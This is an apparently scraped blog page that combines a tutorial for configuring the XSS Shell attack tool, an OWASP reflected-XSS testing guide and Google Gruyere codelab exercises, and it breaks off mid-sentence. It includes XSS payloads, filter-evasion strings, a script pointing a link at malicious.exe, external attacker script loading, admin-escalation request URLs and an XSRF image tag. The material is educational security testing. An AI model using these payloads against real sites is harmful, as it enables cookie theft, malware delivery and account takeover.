One more advantage of using XSS Shell is: it is Open Source and quite easy to implement new commands.<br />
<br />
<br />
<strong>Requirements:</strong><br />

<ul>
<li>An IIS Server where you can host .asp files.</li>
<li>Microsoft Access (.mdb)</li>
<li>A Website which is vulnerable to XSS.</li>
<li>A vulnerable site to perform attack.</li>
</ul>
<strong>Setting up the environment:</strong><br />

<ul>
<li>
<div>
Download the XSSShell from:</div>
<a href="http://labs.portcullis.co.uk/download/xssshell-xsstunnell.zip">http://labs.portcullis.co.uk/download/xssshell-xsstunnell.zip</a>
</li>
<li>Configure IIS to host the site.</li>
<li>Installation</li>
<li>Configure XSS Shell.</li>
</ul>
<strong>Configuring IIS:</strong><br />

In order to configure IIS in Windows 7 or above, follow the steps given below:<br />

<ol>
<li>Click on “Start Menu” and go to “Control Panel”.</li>
<li>Click “Programs” and then click on “Turn Windows features on or off”.</li>
<li>A new “Windows Features” dialog box will appear. Expand “Internet 
Information Services”, select default features that has to be installed 
with IIS.</li>
<li>You can expand the additional categories and install any additional features if required.</li>
<li>
<div>
It is recommended to install additional features if you want to use IIS for evaluation purpose.</div>
</li>
</ol>
Now IIS has been configured in the machine and can be accessed using <a href="http://localhost/">http://localhost/</a><br />

<div style="text-align: center;">
<img alt="" class="lazy " data-original="http://resources.infosecinstitute.com/wp-content/uploads/011914_1626_AdvancedExp3.png" src="http://resources.infosecinstitute.com/wp-content/uploads/011914_1626_AdvancedExp3.png" style="display: inline;" /></div>
<div style="text-align: center;">
Figure (C)</div>
Figure C shows the IIS 7 default page.<br />

<strong>Installation:</strong><br />

XSS Shell uses ASP .NET and MS-Access database. So just make sure that you have both of them installed in your machine.<br />

<strong>Configuring XSS Shell Admin Interface:</strong><br />

<ul>
<li>After downloading the XSSShell.zip file, extract the file and you can see two folders. “XSSshell” and “XSSTunnel”</li>
<li>XSSshell is admin interface and you need to configure it in your machine. Copy “XSSshell” folder to your web server.</li>
</ul>
<img alt="" class="lazy " data-original="http://resources.infosecinstitute.com/wp-content/uploads/011914_1626_AdvancedExp4.png" src="http://resources.infosecinstitute.com/wp-content/uploads/011914_1626_AdvancedExp4.png" style="display: inline;" /><br />

<div style="text-align: center;">
Figure (D)</div>
Figure D, shows the structure of “XSSshell” folder.<br />

<ul>
<li>You can see a sub-folder named “db” in the XSSShell folder as shown 
in above image. Copy that to a secure place because XSSshell stores 
complete data in that db, whatever it is either a victim’s session 
cookies or any other attacked data that belongs to the victim.</li>
<li>After moving the “db” folder to a secure place, configure the path 
in “db.asp” file under “XSSshell/admin” folder, so that the interface 
can understand where the db is and interact with it.</li>
</ul>
<img alt="" class="lazy " data-original="http://resources.infosecinstitute.com/wp-content/uploads/011914_1626_AdvancedExp5.png" src="http://resources.infosecinstitute.com/wp-content/uploads/011914_1626_AdvancedExp5.png" style="display: inline;" /><br />

<div style="text-align: center;">
Figure (E)</div>
Figure E shows the path where the database for XSSshell is stored or kept.<br />

Edit the path to the location such that it should point to the place where “db” folder is present in your machine.<br />

<div style="text-align: center;">
Figure (F)</div>
Figure F shows the default password to access “shell.mdb” file. You can edit to whatever you want.<br />

<ul>
<li>
<div>
Now you can access admin interface by using the localhost url or the domain name that you have given.</div>
Ex: <a href="http://localhost/xssshell">http://localhost/xssshell</a> (or) <a href="http://yourhostname.com/xssshell">http://yourhostname.com/xssshell</a></li>
<li>By default it uses port 80, but if you change the port number while 
configuring the domain you need to access the site by embedding the port
 number.</li>
</ul>
<strong>Configuring XSS Shell:</strong><br />

<ul>
<li>Open “xssshell.asp” from “XSSshell” folder.</li>
<li>Configure the server path. i.e to the place where XSSshell folder is located.</li>
</ul>
<img alt="" class="lazy " data-original="http://resources.infosecinstitute.com/wp-content/uploads/011914_1626_AdvancedExp7.png" src="http://resources.infosecinstitute.com/wp-content/uploads/011914_1626_AdvancedExp7.png" style="display: inline;" /><br />

<div style="text-align: center;">
Figure (G)</div>
Figure G shows the configuration of server path in xssshell.asp file.
 Edit he parameter “SERVER” to the place to the location of “XSSshell” 
folder in your machine.<br />

<ul>
<li>Now access your admin interface from the browser.</li>
</ul>
<div style="text-align: center;">
<img alt="" class="lazy " data-original="http://resources.infosecinstitute.com/wp-content/uploads/011914_1626_AdvancedExp8.png" src="http://resources.infosecinstitute.com/wp-content/uploads/011914_1626_AdvancedExp8.png" style="display: inline;" /></div>
<div style="text-align: center;">
Figure (H)</div>
Figure H shows the admin interface of XSSshell.<br />

In the above figure you can see three sections.<br />

<strong>Commands:</strong><br />

As mentioned earlier, XSSshell has pre-defined commands which make 
the attacker’s life easy to perform any attack on the victim. The 
commands section contains all the commands supported by the shell. As it
 is open source, you can edit it and add your own functionalities there.<br />

<strong>Victims:</strong><br />

Victims section shows the list of victims.<br />

Logs show the list of actions performed on the victims.<br />

<strong>XSS Tunnel:</strong><br />

XSSTunnel is just like a proxy tool which runs on attacker machine 
and captures traffic through the XSS channel on XSSshell server.<br />

<div style="text-align: center;">
<img alt="" class="lazy " data-original="http://resources.infosecinstitute.com/wp-content/uploads/011914_1626_AdvancedExp9.png" src="http://resources.infosecinstitute.com/wp-content/uploads/011914_1626_AdvancedExp9.png" style="display: inline;" /></div>
<div style="text-align: center;">
Figure (I)</div>
Figure I shows the configuration settings of the XSS Tunnel.<br />

As mentioned earlier, the XSS Tunnel acts like a proxy to capture the
 traffic through the XSS channel opened through XSSshell server. In 
order to do this, the XSS Tunnel should be able to understand where the 
XSSshell server is running.<br />

We can configure the XSSshell information (i.e where it is running) in XSS Tunnel from “Options” tab.<br />

Enter the server address and password. Then just to make sure it is 
working fine, click on “Test Server”. You get a success message if the 
configuration is proper.<br />

<div style="text-align: center;">
<img alt="" class="lazy " data-original="http://resources.infosecinstitute.com/wp-content/uploads/011914_1626_AdvancedExp10.png" src="http://resources.infosecinstitute.com/wp-content/uploads/011914_1626_AdvancedExp10.png" style="display: inline;" /></div>
<div style="text-align: center;">
Figure (J)</div>
Figure J shows the connection established successfully.<br />

Once done with configuration, click on “Start XSS Tunnel” on the top 
of the window. Then you can see all the actions performed by the victim 
from XSS Tunnel’s “Dashboard”.<br />

<div style="text-align: center;">
Figure (K)</div>
Figure K shows all the pages visited by the victim and actions performed.<br />

<strong>Conclusion:</strong><br />

XSSshell is an interface or a tool which opens a gateway to the 
attacker through which he can perform various attacks on the victim 
without losing the connection once established.</div>

Advanced Exploits Using XSS SHELL

Before understanding what XSS Shell is, let us recall a few basics of XSS (Cross Site Scripting). XSS is one of the most common vulnerabi...

Testing for Reflected Cross site scripting

<div dir="ltr" style="text-align: left;" trbidi="on">
<h2>
 <span class="mw-headline" id="Brief_Summary"> Brief Summary </span></h2>
Reflected <a href="https://www.owasp.org/index.php/Cross-site_Scripting_%28XSS%29" title="Cross-site Scripting (XSS)">Cross-site Scripting (XSS)</a>
 occur when an attacker injects browser executable code within a single 
HTTP response. The injected attack is not stored within the application 
itself; it is non-persistent and only impacts users who open a 
maliciously crafted link or third-party web page. The attack string is 
included as part of the crafted URI or HTTP parameters, improperly 
processed by the application, and returned to the victim.
<br />

<h2>
 <span class="mw-headline" id="Description_of_the_Issue"> Description of the Issue </span></h2>
Reflected XSS are the most frequent type of XSS attacks found in the wild.
<br />
Reflected XSS attacks are also known as non-persistent XSS 
attacks and, since the attack payload is delivered and executed via a 
single request and response, they are also referred to as first-order or
 type 1 XSS.
<br />
When a web application is vulnerable to this type of attack, it will 
pass unvalidated input sent through requests back to the client. The common modus 
operandi of the attack includes a design step, in which the attacker 
creates and tests an offending URI, a social engineering step, in which 
she convinces her victims to load this URI on their browsers, and the eventual 
execution of the offending code using the victim's browser. 
<br />
Commonly the attacker's code is written in the Javascript language, but  
other scripting languages are also used, e.g., ActionScript and VBScript. 
<br />
Attackers typically leverage these vulnerabilities to 
install key loggers, steal victim cookies, perform clipboard theft, and 
change the content of the page (e.g., download links). 
<br />
One of the primary difficulties in preventing XSS vulnerabilities is proper character encoding. 
In some cases, the web server or the web application could not be filtering some 
encodings of characters, so, for example, the web application might filter out "<script>", 
but might not filter %3cscript%3e which simply includes another encoding of tags.
<br />

<h2>
 <span class="mw-headline" id="Black_Box_testing_and_example"> Black Box testing and example </span></h2>
A black-box test will include at least three phases:
<br />
1. Detect input vectors. For each web page, the tester must 
determine all the web application's user-defined variables and how to 
input them. This includes hidden or non-obvious inputs such as HTTP 
parameters, POST data, hidden form field values, and predefined radio or
 selection values. Typically in-browser HTML editors or web proxies are 
used to view these hidden variables. See the example below.
<br />
2. Analyze each input vector to detect potential vulnerabilities.
 To detect an XSS vulnerability, the tester will typically use specially
 crafted input data with each input vector. Such input data is typically
 harmless, but trigger responses from the web browser that manifests the
 vulnerability. Testing data can be generated by using a web application
 fuzzer, an automated predefined list of known attack strings, or 
manually. <br />Some example of such input data are the following:
<br />

<pre><script>alert(123)</script>
</pre>
<pre>“><script>alert(document.cookie)</script>
</pre>
For a comprehensive list of potential test strings, see the <a href="https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet" title="XSS Filter Evasion Cheat Sheet">XSS Filter Evasion Cheat Sheet</a>.
<br />
3. For each test input attempted in the previous phase, the 
tester will analyze the result and determine if it represents a 
vulnerability that has a realistic impact on the web application's 
security. This requires examining the resulting web page HTML and 
searching for the test input. Once found, the tester identifies any 
special characters that were not properly encoded, replaced, or filtered
 out. The set of vulnerable unfiltered special characters will depend on
 the context of that section of HTML. 
<br />
Ideally all HTML special characters will be replaced with HTML entities. The key HTML entities to identify are: 
<br />

<pre>> (greater than) 
< (less than) 
& (ampersand)
' (apostrophe or single quote)
" (double quote)
</pre>
However, a full list of entities is defined by the HTML and XML specifications. Wikipedia has a complete reference <a class="external autonumber" href="http://en.wikipedia.org/wiki/List_of_XML_and_HTML_character_entity_references" rel="nofollow">[1]</a>.
<br />
Within the context of an HTML action or JavaScript code, a 
different set of special characters will need to be escaped, encoded, 
replaced, or filtered out. These characters include: 
<br />

<pre>\n (new line)
\r (carriage return)
\' (apostrophe or single quote)
\" (double quote)
\\ (backslash)
\uXXXX (unicode values)
</pre>
For a more complete reference, see the Mozilla JavaScript guide. <a class="external autonumber" href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Values,_variables,_and_literals#Using_special_characters_in_strings" rel="nofollow">[2]</a>
<br />

<h3>
 <span class="mw-headline" id="Example_1"> Example 1 </span></h3>
For example, consider a site that has a welcome notice " Welcome %username% " and a download link. 
<br /><br />
<a class="image" href="https://www.owasp.org/index.php/File:XSS_Example1.png"><img alt="XSS Example1.png" height="122" src="https://www.owasp.org/images/a/ad/XSS_Example1.png" width="344" /></a>
<br /><br />
The tester must suspect that every data entry point can result in an XSS
 attack. To analyze it, the tester will play with the user variable and 
try to trigger the vulnerability. 
Let's try to click on the following link and see what happens:
<br />

<pre>http://example.com/index.php?user=<script>alert(123)</script></pre>
If no sanitization is applied this will result in the following popup:
<br /><br />
<a class="image" href="https://www.owasp.org/index.php/File:Alert.png"><img alt="Alert.png" height="130" src="https://www.owasp.org/images/d/d6/Alert.png" width="318" /></a>
<br /><br />
This indicates that there is an XSS vulnerability and it appears that 
the tester can execute code of his choice in anybody's browser if he 
clicks on the tester's link.
<br />

<h3>
 <span class="mw-headline" id="Example_2"> Example 2 </span></h3>
Let's try other piece of code (link):
<br />

<pre>http://example.com/index.php?user=<script>window.onload = function() {var AllLinks=document.getElementsByTagName("a"); 
AllLinks[0].href = "http://badexample.com/malicious.exe"; }</script> </pre>
This produces the following behavior:
<br /><br />
<a class="image" href="https://www.owasp.org/index.php/File:XSS_Example2.png"><img alt="XSS Example2.png" height="194" src="https://www.owasp.org/images/6/60/XSS_Example2.png" width="368" /></a>
<br /><br />
This will cause the user, clicking on the link supplied by the tester, 
to download the file malicious.exe from a site he controls.
<br />

<h2>
 <span class="mw-headline" id="Bypass_XSS_filters"> Bypass XSS filters  </span></h2>
Reflected cross-site scripting attacks are prevented as the web application sanitizes input, a web
application firewall blocks malicious input, or by mechanisms embedded in modern web browsers.
<br />
The tester must test for vulnerabilities assuming that web 
browsers will not prevent the attack. Browsers may be out of date, or 
have built-in security features disabled.
<br />
Similarly, web application firewalls are not guaranteed to 
recognize novel, unknown attacks. An attacker could craft an attack 
string that is unrecognized by the web application firewall.
<br />
Thus, the majority of XSS prevention must depend on the web 
application's sanitization of untrusted user input. There are several 
mechanisms available to developers for sanitization, such as returning 
an error, removing, encoding, or replacing invalid input. The means by 
which the application detects and corrects invalid input is another 
primary weakness in preventing XSS. A blacklist may not include all 
possible attack strings, a whitelist may be overly permissive, the 
sanitization could fail, or a type of input may be incorrectly trusted 
and remain unsanitized. All of these allow attackers to circumvent XSS 
filters.
<br />
The <a href="https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet" title="XSS Filter Evasion Cheat Sheet">XSS Filter Evasion Cheat Sheet</a> documents common filter evasion tests.
<br />

<h3>
 <span class="mw-headline" id="Example_3:_Tag_Attribute_Value"> Example 3: Tag Attribute Value </span></h3>
<br />
Since these filters are based on a blacklist, they could not block every
 type of expressions. In fact, there are cases in which an XSS exploit 
can be carried out without the use of <script> tags and even 
without the use of characters such as " < > and / that are 
commonly filtered.
For example, the web application could use the user input value to fill 
an attribute, as shown in the following code:
<br />

<pre><input type="text" name="state" value="INPUT_FROM_USER">
</pre>
Then an attacker could submit the following code:
<br />

<pre>" onfocus="alert(document.cookie)
</pre>
<h3>
 <span class="mw-headline" id="Example_4:_Different_syntax_or_enconding"> Example 4: Different syntax or enconding </span></h3>
<br />
In some cases it is possible that signature-based filters can be simply 
defeated by obfuscating the attack. Typically you can do this through 
the insertion of unexpected variations in the syntax or in the 
enconding. These variations are tolerated by browsers as valid HTML when
 the code is returned, and yet they could also be accepted by the 
filter. 
Following some examples:
<br />

<pre>"><script >alert(document.cookie)</script >
</pre>
<pre>"><ScRiPt>alert(document.cookie)</ScRiPt>
</pre>
<pre>"%3cscript%3ealert(document.cookie)%3c/script%3e
</pre>
<h3>
 <span class="mw-headline" id="Example_5:_Bypassing_non-recursive_filtering"> Example 5: Bypassing non-recursive filtering </span></h3>
<br />
Sometimes the sanitization is applied only once and it is not being 
performed recursively. In this case the attacker can beat the filter by 
sending a string containing multiple attempts, like this one:
<br />

<pre><scr<script>ipt>alert(document.cookie)</script>
</pre>
<h3>
 <span class="mw-headline" id="Example_6:_Including_external_script"> Example 6: Including external script </span></h3>
<br />
Now suppose that developers of the target site implemented the following
 code to protect the input from the inclusion of external script: 
<br />

<pre><?
   $re = "/<script[^>]+src/i";

if (preg_match($re, $_GET['var'])) 
   {
      echo "Filtered";
      return; 
   }
   echo "Welcome ".$_GET['var']." !";
?>
</pre>
In this scenario there is a regular expression checking if <b><script [anything but the character: '>' ] src</b> is inserted. This is useful for filtering expressions like 
<br />

<pre><script src="http://attacker/xss.js"></script>
</pre>
which is a common attack. But, in this case, it is possible to bypass
 the sanitization by using the ">" character in an attribute between 
script and src, like this: 
<br />

<pre>http://example/?var=<SCRIPT%20a=">"%20SRC="http://attacker/xss.js"></SCRIPT> 
</pre>
This will exploit the reflected cross site scripting vulnerability 
shown before, executing the javascript code stored on the attacker's web
 server as if it was 
originating from the victim web site, <a class="external free" href="http://example/" rel="nofollow">http://example/</a>. 
<br />

<h3>
 <span class="mw-headline" id="Example_7:_HTTP_Parameter_Pollution_.28HPP.29"> Example 7: HTTP Parameter Pollution (HPP) </span></h3>
<br />
Another method to bypass filters is the HTTP Parameter Pollution, this 
technique was first presented by Stefano di Paola and Luca Carettoni in 
2009 at the OWASP 
Poland conference. See the <a href="https://www.owasp.org/index.php/Testing_for_HTTP_Parameter_pollution_%28OWASP-DV-004%29" title="Testing for HTTP Parameter pollution (OWASP-DV-004)">Testing for HTTP Parameter pollution</a>
 for more information. 
This evasion technique consists of splitting an attack vector between 
multiple parameters that have the same name. The manipulation of the 
value of each 
parameter depends on how each web technology is parsing these 
parameters, so this type of evasion is not always possible.
If the tested environment concatenates the values of all parameters with
 the same name, then an attacker could use this technique in order to 
bypass pattern-
based security mechanisms.
<br />
Regular attack: 
<br />

<pre>http://example/page.php?param=<script>[...]</script>
</pre>
Attack using HPP:
<br />

<pre>http://example/page.php?param=<script&param=>[...]</&param=script>
</pre>
<b> Result expected </b>
<br />
See the <a href="https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet" title="XSS Filter Evasion Cheat Sheet">XSS Filter Evasion Cheat Sheet</a>
 for a more detailed list of filter evasion techniques.
Finally, analyzing answers can get complex. A simple way to do this is 
to use code that pops up a dialog, as in our example. This typically 
indicates that an attacker could execute arbitrary JavaScript of his 
choice in the visitors' browsers. 
<br />

<h2>
 <span class="mw-headline" id="Gray_Box_testing"> Gray Box testing </span></h2>
Gray Box testing is similar to Black box testing. In gray box 
testing, the pen-tester has partial knowledge of the application. In 
this case, information regarding user input, input validation controls, 
and how the user input is rendered back to the user might be known by 
the pen-tester. 
<br />
If source code is available (White Box), all variables received 
from users should be analyzed. Moreover the tester should analyze any 
sanitization procedures implemented to decide if these can be 
circumvented. 
<br />

<h2>
 <span class="mw-headline" id="References"> References </span></h2>
<b>OWASP Resources</b><br />
<br />

<ul>
<li><a href="https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet" title="XSS Filter Evasion Cheat Sheet">XSS Filter Evasion Cheat Sheet</a> 
</li>
</ul>
<b>Books</b><br />
<br />

<ul>
<li> Joel Scambray, Mike Shema, Caleb Sima - "Hacking Exposed Web Applications", Second Edition, McGraw-Hill, 2006 - <a class="internal mw-magiclink-isbn" href="https://www.owasp.org/index.php/Special:BookSources/0072262290">ISBN 0-07-226229-0</a>
</li>
<li> Dafydd Stuttard, Marcus Pinto - "The Web Application's Handbook - Discovering and Exploiting Security Flaws", 2008, Wiley, <a class="internal mw-magiclink-isbn" href="https://www.owasp.org/index.php/Special:BookSources/9780470170779">ISBN 978-0-470-17077-9</a>
</li>
<li> Jeremiah Grossman, Robert "RSnake" Hansen, Petko "pdp" D. 
Petkov, Anton Rager, Seth Fogie - "Cross Site Scripting Attacks: XSS 
Exploits and Defense", 2007, Syngress, ISBN-10: 1-59749-154-3
</li>
</ul>
<b>Whitepapers</b><br />
<br />

<ul>
<li> <b>CERT</b> - Malicious HTML Tags Embedded in Client Web Requests: <a class="external text" href="http://www.cert.org/advisories/CA-2000-02.html" rel="nofollow">Read</a>
</li>
<li> <b>Rsnake</b> - XSS Cheat Sheet: <a class="external text" href="http://ha.ckers.org/xss.html" rel="nofollow">Read</a>
</li>
<li> <b>cgisecurity.com</b> - The Cross Site Scripting FAQ: <a class="external text" href="http://www.cgisecurity.com/articles/xss-faq.shtml" rel="nofollow">Read</a>
</li>
<li> <b>G.Ollmann</b> - HTML Code Injection and Cross-site scripting: <a class="external text" href="http://www.technicalinfo.net/papers/CSS.html" rel="nofollow">Read</a>
</li>
<li> <b>A. Calvo, D.Tiscornia</b> - alert('A javascritp agent'): <a class="external text" href="http://corelabs.coresecurity.com/index.php?module=FrontEndMod&action=view&type=publication&name=alert%28A_javascritp_agent%29" rel="nofollow">Read</a> ( To be published )
</li>
<li> <b>S. Frei, T. Dübendorfer, G. Ollmann, M. May</b> - Understanding the Web browser threat: <a class="external text" href="http://www.techzoom.net/publications/insecurity-iceberg/index.en" rel="nofollow">Read</a>
</li>
</ul>
<b>Tools</b> <br />
<br />

<ul>
<li> <b><a class="mw-redirect" href="https://www.owasp.org/index.php/OWASP_CAL9000_Project" title="OWASP CAL9000 Project">OWASP CAL9000</a></b> 
</li>
</ul>
CAL9000 is a collection of web application security testing tools 
that complement the feature set of current web proxies and automated 
scanners. It's hosted as a reference at <a class="external free" href="http://yehg.net/lab/pr0js/pentest/CAL9000/" rel="nofollow">http://yehg.net/lab/pr0js/pentest/CAL9000/</a> .
<br />

<ul>
<li> <b>PHP Charset Encoder(PCE)</b> - <a class="external free" href="http://h4k.in/encoding" rel="nofollow">http://h4k.in/encoding</a> [mirror: <a class="external free" href="http://yehg.net/e" rel="nofollow">http://yehg.net/e</a> ]
</li>
</ul>
This tool helps you encode arbitrary texts to and from 65 kinds of 
charsets. Also some encoding functions featured by JavaScript are 
provided.
<br />

<ul>
<li> <b>HackVertor</b> -  <a class="external free" href="http://www.businessinfo.co.uk/labs/hackvertor/hackvertor.php" rel="nofollow">http://www.businessinfo.co.uk/labs/hackvertor/hackvertor.php</a>
</li>
</ul>
It provides multiple dozens of flexible encoding for advanced string manipulation attacks.
<br />

<ul>
<li> <b><a class="mw-redirect" href="https://www.owasp.org/index.php/OWASP_WebScarab_Project" title="OWASP WebScarab Project">WebScarab</a></b>
</li>
</ul>
WebScarab is a framework for analysing applications that communicate using the HTTP and HTTPS protocols. 
<br />

<ul>
<li> <b>XSS-Proxy</b> - <a class="external free" href="http://xss-proxy.sourceforge.net/" rel="nofollow">http://xss-proxy.sourceforge.net/</a>
</li>
</ul>
XSS-Proxy is an advanced Cross-Site-Scripting (XSS) attack tool.
<br />

<ul>
<li> <b>ratproxy</b> - <a class="external free" href="http://code.google.com/p/ratproxy/" rel="nofollow">http://code.google.com/p/ratproxy/</a>
</li>
</ul>
A semi-automated, largely passive web application security audit 
tool, optimized for an accurate and sensitive detection, and automatic 
annotation, of potential problems and security-relevant design patterns 
based on the observation of existing, user-initiated traffic in complex 
web 2.0 environments.
<br />

<ul>
<li> <b>Burp Proxy</b> - <a class="external free" href="http://portswigger.net/proxy/" rel="nofollow">http://portswigger.net/proxy/</a>
</li>
</ul>
Burp Proxy is an interactive HTTP/S proxy server for attacking and testing web applications.
<br />

<ul>
<li> <b>OWASP Zed Attack Proxy (ZAP)</b> - <a href="https://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project" title="OWASP Zed Attack Proxy Project">OWASP_Zed_Attack_Proxy_Project</a>
</li>
</ul>
ZAP is an easy to use integrated penetration testing tool for finding
 vulnerabilities in web applications. It is designed to be used by 
people with a wide range of security experience and as such is ideal for
 developers and functional testers who are new to penetration testing. 
ZAP provides automated scanners as well as a set of tools that allow you
 to find security vulnerabilities manually.
</div>

Testing for Reflected Cross site scripting

Brief Summary Reflected Cross-site Scripting (XSS) occur when an attacker injects browser executable code within a single HTTP respo...

Web Application Exploits and Defenses

<div dir="ltr" style="text-align: left;" trbidi="on">
<h2>
Client-State Manipulation </h2>
When a user interacts with a web application, they do it indirectly
through a browser. When the user clicks a button or submits a form,
the browser sends a request back to the web server. Because the
browser runs on a machine that can be controlled by an attacker, the
application must not trust any data sent by the browser.
<br />
 It might seem that not trusting any user data would make it
impossible to write a web application but that's not the case. If the
user submits a form that says they wish to purchase an item, it's OK
to trust that data. But if the submitted form also includes the price
of the item, that's something that cannot be trusted.

<br />

<h3>
<a href="https://www.blogger.com/null" name="3__elevation_of_privilege"> </a> Elevation of Privilege </h3>
<img src="https://google-gruyere.appspot.com/static/cheese_w.png" style="padding-right: 5px; vertical-align: middle;" /> <b>Convert your account to an administrator account.</b>

Take a look at
the <code><a href="https://google-gruyere.appspot.com/code/?resources/editprofile.gtl">editprofile.gtl</a></code>
page that users and administrators use to edit profile settings. If you're not
an administrator, the page looks a bit different. Can you figure out
how to fool Gruyere into letting you use this page to update your account?
<br />

</div>
<h4 style="cursor: pointer;">
<img src="https://google-gruyere.appspot.com/static/open.gif" /> Hint 2 </h4>
<div id="elevation_hint2" style="display: block;">

Can you figure out how to fool Gruyere into <i>thinking</i> you used this
page to update your account?
<br />

</div>
<h4 style="cursor: pointer;">
<img src="https://google-gruyere.appspot.com/static/open.gif" /> Exploit and Fixes </h4>
<div id="clientstate" style="display: block;">

You can convert your account to being an administrator by issuing
either of the following requests:
<br />
<ul>
<li> <code>http://google-gruyere.appspot.com/123/saveprofile?action=update&is_admin=True</code>
</li>
<li> <code>http://google-gruyere.appspot.com/123/saveprofile?action=update&is_admin=True&uid=username</code>
(which will make any <code>username</code> into an an admin)
</li>
</ul>
After visiting this URL, your account is now marked as an
administrator but your cookie still says you're not. So sign out and
back in to get a new cookie. After logging in, notice the
'Manage this server' link on the top right.<br />

The bug here is that there is no validation on the server side that
the request is authorized. The only part of the code that restricts
the changes that a user is allowed to make are in the template, hiding
parts of the UI that they shouldn't have access to. The correct thing
to do is to check for authorization on the server, at the time that
the request is received.
<br />

</div>
</div>
<h3>
<a href="https://www.blogger.com/null" name="3__cookie_manipulation"> </a> Cookie Manipulation </h3>
Because the HTTP protocol is stateless, there's no way a web server
can automatically know that two requests are from the same user. For
this
reason, <a href="http://www.google.com/search?q=http+cookies">cookies</a>
were invented. When a web site includes a cookie (an arbitrary string)
in a HTTP response, the browser automatically sends the cookie back to
the browser on the next request. Web sites can use the cookie to save
session state. Gruyere uses cookies to remember the identity of the
logged in user. Since the cookie is stored on the client side, it's
vulnerable to manipulation. Gruyere protects the cookies from
manipulation by adding a hash to it. Notwithstanding the fact that
this hash isn't very good protection, you don't need to break the hash
to execute an attack.

<img src="https://google-gruyere.appspot.com/static/cheese_bw.png" style="padding-right: 5px; vertical-align: middle;" /> <b>Get Gruyere to issue you a cookie for someone else's account.</b>
<br />
<div style="margin-left: 18pt;">
<h4 style="cursor: pointer;">
<img src="https://google-gruyere.appspot.com/static/open.gif" /> Hint 1 </h4>
<div id="cookie_hint" style="display: block;">

You don't need to look at the Gruyere cookie parsing code. You just need
 to know what the cookies look like. Gruyere's cookies use the format:
<br />
<pre><i>hash</i>|<i>username</i>|admin|author
</pre>
</div>
<h4 style="cursor: pointer;">
<img src="https://google-gruyere.appspot.com/static/open.gif" /> Hint 2 </h4>
<div id="cookie_hint2" style="display: block;">

Gruyere issues a cookie when you log in. Can you trick it into
issuing you a cookie that looks like another user's cookie?
<br />

</div>
<h4 style="cursor: pointer;">
<img src="https://google-gruyere.appspot.com/static/open.gif" /> Exploit and Fix </h4>
<div id="cookieparsing" style="display: block;">

You can get Gruyere to issue you a cookie for someone else's account
by creating a new account with
username <code>"foo|admin|author"</code>. When you log into this
account, it will issue you the
cookie <code>"hash|foo|admin|author||author"</code> which actually
logs you into <code>foo</code> as an administrator. (So this is also
an elevation of privilege attack.)
<br />

Having no restrictions on the characters allowed in usernames
means that we have to be careful when we handle them. In this case,
the cookie parsing code is tolerant of malformed cookies and it
shouldn't be. It should escape the username when it constructs the
cookie and it should reject a cookie if it doesn't match the exact
pattern it is expecting.
<br />

Even if we fix this, Python's hash function is not
cryptographically secure. If you look at
Python's <code>string_hash</code> function
in <code><a href="http://svn.python.org/view/python/trunk/Objects/stringobject.c?view=markup">python/Objects/stringobject.cc</a></code>
you'll see that it hashes the string strictly from left to right. That
means that we don't need to know the cookie secret to generate our own
hashes; all we need is another string that hashes to the same value,
which we can find in a relatively short time on a typical PC. In
contrast, with a cryptographic hash function, changing any bit of the
string will change many bits of the hash value in an unpredictable
way. At a minimum, you should use a secure hash function to protect
your cookies. You should also consider encrypting the entire cookie as
plain text cookies can expose information you might not want exposed.
<br />

And these cookies are also vulnerable to a replay attack. Once a
user is issued a cookie, it's good forever and there's no way to
revoke it. So if a user is an administrator at one time, they can save
the cookie and continue to act as an administrator even if their
administrative rights are taken away. While it's convenient to not
have to make a database query in order to check whether or not a user
is an administrator, that might be too dangerous a detail to store in
the cookie. If avoiding additional database access is important, the
server could cache a list of recent admin users. Including a timestamp
in a cookie and expiring it after some period of time also mitigates
against a replay attack.<br />

<b>Another challenge:</b> Since account names are limited to 16 characters, it seems that
this trick would not work to log in to the
actual <code>administrator</code> account
since <code>"administrator|admin"</code> is 19 characters. Can you
figure out how to bypass that restriction?
<br />

<h4 style="cursor: pointer;">
<img src="https://google-gruyere.appspot.com/static/open.gif" /> Additional Exploit and Fix </h4>
<div id="cookie2" style="display: block;">
The 16 character limit is implemented on the client side. Just issue
your own request:
<pre>http://google-gruyere.appspot.com/123/saveprofile?action=new&uid=administrator|admin|author&pw=secret
</pre>
Again, this restriction should be implemented on the server side,
not just the client side.<br />

</div>
</div>
</div>
<br /><br />
<h2>
<a href="https://www.blogger.com/null" name="3__cross_site_request_forgery"> </a> Cross-Site Request Forgery (XSRF) </h2>
The previous section said "If the user submits a form that says they
wish to purchase an item, it's OK to trust that data." That's true as
long as it really was the user that submitted the form. If your site
is vulnerable to XSS, then the attacker can fake any request as if it
came from the user. But even if you've protected against XSS, there's
another attack that you need to protect against: cross-site request
forgery.
<br />

When a browser makes requests to a site, it always sends along any
cookies it has for that site, regardless of where the request comes
from. Additionally, web servers generally cannot distinguish between a
request initiated by a deliberate user action (e.g., user clicking on
"Submit" button) versus a request made by the browser without user
action (e.g., request for an embedded image in a page). Therefore, if
a site receives a request to perform some action (like deleting a
mail, changing contact address), it cannot know whether this action
was knowingly initiated by the user — even if the request contains
authentication cookies. An attacker can use this fact to fool the
server into performing actions the user did not intend to perform.
<br />

<div style="margin-left: 18pt;">
<h4 style="cursor: pointer;">
<img src="https://google-gruyere.appspot.com/static/open.gif" /> More details </h4>
<div id="xsrf_desc" style="display: block;">

For example, suppose Blogger is vulnerable to XSRF attacks (it
isn't). And let us say Blogger has a Delete Blog button on the
dashboard that points to this URL:
<br />
<pre>http://www.blogger.com/deleteblog.do?blogId=BLOGID
</pre>
Bob, the attacker, embeds the following HTML on his web page
on <code>http://www.evil.example.com</code>:

<pre><img src="http://www.blogger.com/deleteblog.do?blogId=alice's-blog-id"
    style="display:none">
</pre>
If the victim, Alice, is logged in to <code>www.blogger.com</code> when
she views the above page, here is what happens:
<br />

<ul>
<li> Her browser loads the page
from <code>http://www.evil.example.com</code>. The browser then tries to
load all embedded objects in the page, including the <code>img</code>
shown above.
</li>
<li> The browser makes a request
to <code>http://www.blogger.com/deleteblog.do?blogId=alice's-blog-id</code>
to load the image. Since Alice is logged into Blogger — that is,
she has a Blogger cookie — the browser also sends that cookie in
the request.
</li>
<li> Blogger verifies the cookie is a valid session cookie for
